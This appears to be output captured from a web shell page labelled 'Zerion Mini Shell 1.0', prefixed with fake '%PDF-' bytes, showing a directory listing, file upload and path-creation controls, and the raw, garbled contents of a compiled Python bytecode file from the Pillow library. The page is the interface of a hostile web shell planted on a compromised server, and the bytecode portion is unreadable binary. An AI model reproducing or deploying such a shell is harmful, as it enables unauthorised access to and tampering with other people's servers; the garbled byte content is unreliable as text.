%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /lib/python3/dist-packages/PIL/__pycache__/
Upload File :
Create Path :
Current File : //lib/python3/dist-packages/PIL/__pycache__/_util.cpython-312.pyc

�

��e7��d�ddlmZddlZddlmZddlmZmZddlm	Z	dd�Z
dd�ZGd	�d
�Zy)�)�annotationsN)�Path)�Any�NoReturn�)�	TypeGuardc�8�t|tttf�S�N)�
isinstance�bytes�strr��fs �+/usr/lib/python3/dist-packages/PIL/_util.py�is_pathr
s���a�%��d�+�,�,�c�Z�t|�xrtjj|�S)zCChecks if an object is a string, and that it points to a directory.)r�os�path�isdirrs r�is_directoryrs���1�:�*�"�'�'�-�-��*�*rc�.�eZdZdd�Zdd�Zedd��Zy)�
DeferredErrorc��||_yr
��ex)�selfrs  r�__init__zDeferredError.__init__s	����rc��|j�r
r)r�elts  r�__getattr__zDeferredError.__getattr__s���g�g�
rc��t|�S)z�
        Creates an object that raises the wrapped exception ``ex`` when used,
        and casts it to :py:obj:`~typing.Any` type.
        )rrs r�newzDeferredError.news���R� � rN)r�
BaseException)r r
�returnr)rr$r%r)�__name__�
__module__�__qualname__rr!�staticmethodr#�rrrrs �����!��!rr)rrr%zTypeGuard[bytes | str | Path])
�
__future__rr�pathlibr�typingrr�_typingrrrrr*rr�<module>r/s(��"�	�� ��-�+�

!�
!r

Zerion Mini Shell 1.0